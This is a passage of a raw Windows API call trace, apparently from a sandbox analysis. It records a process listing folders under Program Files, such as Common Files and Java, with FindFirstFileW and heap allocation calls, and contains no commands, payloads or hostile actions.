[0079.781] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0079.880] GetProcessHeap () returned 0x11a0000 [0079.880] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b55798 | out: hHeap=0x11a0000) returned 1 [0079.880] GetProcessHeap () returned 0x11a0000 [0079.880] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0079.881] GetProcessHeap () returned 0x11a0000 [0079.881] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0079.882] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0079.884] GetProcessHeap () returned 0x11a0000 [0079.884] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0079.884] GetProcessHeap () returned 0x11a0000 [0079.884] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0079.884] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0079.886] GetProcessHeap () returned 0x11a0000 [0079.886] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0079.886] GetProcessHeap () returned 0x11a0000 [0079.886] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0079.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0080.021] GetProcessHeap () returned 0x11a0000 [0080.022] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0080.022] GetProcessHeap () returned 0x11a0000 [0080.022] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0080.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0080.022] GetProcessHeap () returned 0x11a0000 [0080.022] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0080.022] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fe, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0080.023] GetProcessHeap () returned 0x11a0000 [0080.023] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0080.023] GetProcessHeap () returned 0x11a0000 [0080.023] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0080.025] GetProcessHeap () returned 0x11a0000 [0080.025] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0080.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0080.041] GetProcessHeap () returned 0x11a0000 [0080.041] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0080.042] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Triedit\\en-US\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fe, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0080.043] GetProcessHeap () returned 0x11a0000 [0080.043] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0080.043] GetProcessHeap () returned 0x11a0000 [0080.043] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0080.044] GetProcessHeap () returned 0x11a0000 [0080.044] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0080.045] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0080.046] GetProcessHeap () returned 0x11a0000 [0080.046] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0080.046] GetProcessHeap () returned 0x11a0000 [0080.046] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0080.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0080.046] GetProcessHeap () returned 0x11a0000 [0080.047] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0080.047] GetProcessHeap () returned 0x11a0000 [0080.047] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0080.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ff, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0080.047] GetProcessHeap () returned 0x11a0000 [0080.047] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0080.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fe, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0082.336] GetProcessHeap () returned 0x11a0000 [0082.337] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0082.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2fd, cFileName=".", cAlternateFileName="")) returned 0x3b8abc8 [0082.342] GetProcessHeap () returned 0x11a0000 [0082.342] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0082.342] GetProcessHeap () returned 0x11a0000 [0082.342] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0082.344] GetProcessHeap () returned 0x11a0000 [0082.344] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0082.344] GetProcessHeap () returned 0x11a0000 [0082.344] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0082.345] GetProcessHeap () returned 0x11a0000 [0082.345] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0082.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x347ef68 | out: lpFindFileData=0x347ef68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe70e, dwReserved1=0xb0f, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0082.346] GetProcessHeap () returned 0x11a0000 [0082.346] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0082.346] GetProcessHeap () returned 0x11a0000 [0082.346] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b12760 [0082.346] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x347ef68 | out: lpFindFileData=0x347ef68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe70e, dwReserved1=0xb0f, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0082.347] GetProcessHeap () returned 0x11a0000 [0082.347] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0082.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0cb0a3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fe, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0082.353] GetProcessHeap () returned 0x11a0000 [0082.353] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0082.354] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0082.354] GetProcessHeap () returned 0x11a0000 [0082.354] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0082.355] GetProcessHeap () returned 0x11a0000 [0082.355] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0082.356] GetProcessHeap () returned 0x11a0000 [0082.356] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0082.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fe, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0082.357] GetProcessHeap () returned 0x11a0000 [0082.357] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0082.357] GetProcessHeap () returned 0x11a0000 [0082.357] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0082.357] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fe, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0082.368] GetProcessHeap () returned 0x11a0000 [0082.368] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0082.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0082.369] GetProcessHeap () returned 0x11a0000 [0082.369] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0082.369] GetProcessHeap () returned 0x11a0000 [0082.369] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0082.371] GetProcessHeap () returned 0x11a0000 [0082.371] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0082.372] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fe, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0082.373] GetProcessHeap () returned 0x11a0000 [0082.373] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b43780 [0082.374] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0082.374] GetProcessHeap () returned 0x11a0000 [0082.374] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b43780 | out: hHeap=0x11a0000) returned 1 [0082.375] GetProcessHeap () returned 0x11a0000 [0082.375] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x125fa90 | out: hHeap=0x11a0000) returned 1 [0082.376] GetProcessHeap () returned 0x11a0000 [0082.376] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b12760 | out: hHeap=0x11a0000) returned 1 [0082.376] GetProcessHeap () returned 0x11a0000 [0082.376] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0082.378] GetProcessHeap () returned 0x11a0000 [0082.378] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b11758 [0082.378] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xec1d2101, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xec1d2101, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc90e, dwReserved1=0xd10, cFileName=".", cAlternateFileName="")) returned 0x11ba1d0 [0082.379] GetProcessHeap () returned 0x11a0000 [0082.379] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0082.379] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x347ef68 | out: lpFindFileData=0x347ef68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0082.380] GetProcessHeap () returned 0x11a0000 [0082.380] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0082.380] GetProcessHeap () returned 0x11a0000 [0082.380] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0082.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\images\\*", lpFindFileData=0x347ef68 | out: lpFindFileData=0x347ef68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d846d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a485593, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0082.380] GetProcessHeap () returned 0x11a0000 [0082.380] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0082.380] GetProcessHeap () returned 0x11a0000 [0082.380] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0082.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x347ef68 | out: lpFindFileData=0x347ef68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0082.381] GetProcessHeap () returned 0x11a0000 [0082.381] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x124fa88 | out: hHeap=0x11a0000) returned 1 [0082.381] GetProcessHeap () returned 0x11a0000 [0082.381] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b11758 | out: hHeap=0x11a0000) returned 1 [0082.382] GetProcessHeap () returned 0x11a0000 [0082.382] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b11758 [0082.382] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xe8d36153, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d36153, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc90e, dwReserved1=0xd10, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0082.383] GetProcessHeap () returned 0x11a0000 [0082.383] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x124fa88 [0082.383] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\*", lpFindFileData=0x347ef68 | out: lpFindFileData=0x347ef68*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f90 [0082.384] GetProcessHeap () returned 0x11a0000 [0082.384] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x125fa90 [0082.384] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\*", lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0eaff93, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, 